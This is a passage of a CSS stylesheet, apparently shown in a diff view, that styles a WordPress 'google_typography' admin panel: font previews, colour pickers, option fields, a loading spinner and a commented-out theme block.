-moz-border-radius: 4px 4px 0px 0px;
|
||||
border-radius: 4px 4px 0px 0px;
|
||||
}
|
||||
div#google_typography .font_preview.dark,
|
||||
div#google_typography .font_preview.dark input {
|
||||
background: #313131;
|
||||
}
|
||||
div#google_typography .font_preview input{
|
||||
border: 0;
|
||||
padding: 0;
|
||||
width: 98%;
|
||||
}
|
||||
div#google_typography .font_preview input:focus {
|
||||
-webkit-box-shadow: none;
|
||||
-moz-box-shadow: none;
|
||||
box-shadow: none;
|
||||
}
|
||||
div#google_typography .font_preview ul.preview_color {
|
||||
list-style: none;
|
||||
position: absolute;
|
||||
top: 25px;
|
||||
right: 15px;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
div#google_typography .font_preview ul.preview_color li { }
|
||||
div#google_typography .font_preview ul.preview_color li a {
|
||||
width: 9px;
|
||||
height: 9px;
|
||||
text-indent: -999999px;
|
||||
display: block;
|
||||
-webkit-border-radius: 100%;
|
||||
-moz-border-radius: 100%;
|
||||
border-radius: 100%;
|
||||
background: #fff;
|
||||
border: 1px solid rgba(0,0,0,0.2);
|
||||
cursor: pointer;
|
||||
}
|
||||
div#google_typography .font_preview ul.preview_color li a.dark { background: #292929; border: 1px solid rgba(255,255,255,0.4); }
|
||||
/* Options */
|
||||
div#google_typography .font_options {
|
||||
padding: 10px;
|
||||
background: #f5f5f5;
|
||||
border-top: 1px solid #d9d9d9;
|
||||
-webkit-border-radius: 0px 0px 4px 4px;
|
||||
-moz-border-radius: 0px 0px 4px 4px;
|
||||
border-radius: 0px 0px 4px 4px;
|
||||
}
|
||||
div#google_typography .font_options .left_col { float: left; }
|
||||
div#google_typography .font_options .right_col {
|
||||
float: right;
|
||||
opacity: 0;
|
||||
-webkit-transition: all 0.2s ease-in;
|
||||
-moz-transition: all 0.2s ease-in;
|
||||
-o-transition: all 0.2s ease-in;
|
||||
transition: all 0.2s ease-in;
|
||||
}
|
||||
div#google_typography .collection.current .font_options .right_col { opacity: 1; }
|
||||
div#google_typography .font_options .font_family { width: 210px; }
|
||||
div#google_typography .font_options .font_variant { width: 105px; }
|
||||
div#google_typography .font_options .font_size { width: 105px; }
|
||||
div#google_typography .font_options .wp-color-result {
|
||||
height: 30px;
|
||||
margin: -8px 0px 0px 0;
|
||||
vertical-align: top;
|
||||
}
|
||||
div#google_typography .font_options .wp-color-result:after { line-height: 30px; }
|
||||
div#google_typography .font_options .wp-picker-open { top: 1px; }
|
||||
div#google_typography .font_options .wp-picker-holder { position: absolute; }
|
||||
div#google_typography .font_options .wp-picker-input-wrap { margin-top: -7px; }
|
||||
div#google_typography .font_options .wp-picker-clear { display: none; }
|
||||
div#google_typography .font_options .wp-picker-container .iris-picker { z-index: 1000; }
|
||||
div#google_typography .font_options .font_color,
|
||||
div#google_typography .font_options .css_selectors { padding: 7px 7px 8px 7px; margin: 0; }
|
||||
div#google_typography .font_options .font_color { margin-left: 3px; }
|
||||
div#google_typography .font_options .css_selectors { width: 220px; }
|
||||
div#google_typography .font_options a.save_collection.saving { opacity: .5; }
|
||||
div#google_typography .font_options a.delete_collection {
|
||||
color: #f00;
|
||||
margin-right: 10px;
|
||||
text-decoration: none;
|
||||
border-bottom: 1px solid;
|
||||
padding: 1px 2px;
|
||||
-webkit-transition: all 0.2s ease-in;
|
||||
-moz-transition: all 0.2s ease-in;
|
||||
-o-transition: all 0.2s ease-in;
|
||||
transition: all 0.2s ease-in;
|
||||
}
|
||||
div#google_typography .font_options a.delete_collection:hover { background: #f00; color: #fff; }
|
||||
div#google_typography .reset_collections {
|
||||
color: #f00;
|
||||
}
|
||||
div#google_typography .reset_collections:hover {
|
||||
background: #f00;
|
||||
color: #fff;
|
||||
text-shadow: none;
|
||||
}
|
||||
div#google_typography .css_selectors {
|
||||
-webkit-transition: all 200ms linear;
|
||||
-moz-transition: all 200ms linear;
|
||||
border: none;
|
||||
box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.2), 0 2px 0 rgba(255, 255, 255, 0.3), 0 1px 2px rgba(0, 0, 0, 0.1) inset;
|
||||
}
|
||||
div#google_typography .css_selectors:focus {
|
||||
box-shadow: 0 0 0 1px #ccc, 0 0 8px #ccc, 0 1px 2px rgba(0, 0, 0, 0.1) inset;
|
||||
}
|
||||
div#google_typography .loading {
|
||||
width: 600px;
|
||||
margin: 80px auto 0 auto;
|
||||
text-align: center;
|
||||
display: none;
|
||||
}
|
||||
div#google_typography .loading .spin {
|
||||
width: 34px;
|
||||
height: 34px;
|
||||
background: url('../images/spinner.gif') no-repeat;
|
||||
display: block;
|
||||
margin: 0 auto 15px auto;
|
||||
}
|
||||
@media only screen and (-webkit-min-device-pixel-ratio: 2), only screen and (min-resolution: 144dpi) {
|
||||
div#google_typography .loading .spin {
|
||||
background: url('../images/spinner@2x.gif') no-repeat;
|
||||
background-size: 34px 34px;
|
||||
}
|
||||
}
|
||||
div#google_typography .footer {}
|
||||
div#google_typography .footer p {
|
||||
color: #999;
|
||||
font-size: 11px;
|
||||
}
|
||||
/*--------------------------------------------
|
||||
Misc
|
||||
---------------------------------------------*/
|
||||
.clear {
|
||||
clear: both;
|
||||
}
|
||||
div#google_typography a,
|
||||
div#google_typography select { outline: none; }
|
||||
|
||||
/*--------------------------------------------
|
||||
MyThemeShop Custom CSS
|
||||
---------------------------------------------
|
||||
div#google_typography .collection:nth-last-child(-n+2) .css_selectors, div#google_typography .collection:nth-last-child(-n+2) .font_options .left_col div.chzn-container:nth-child(6) {
|
||||
display: none;
|
||||
}*/
|
||||
Reference in New Issue
Block a user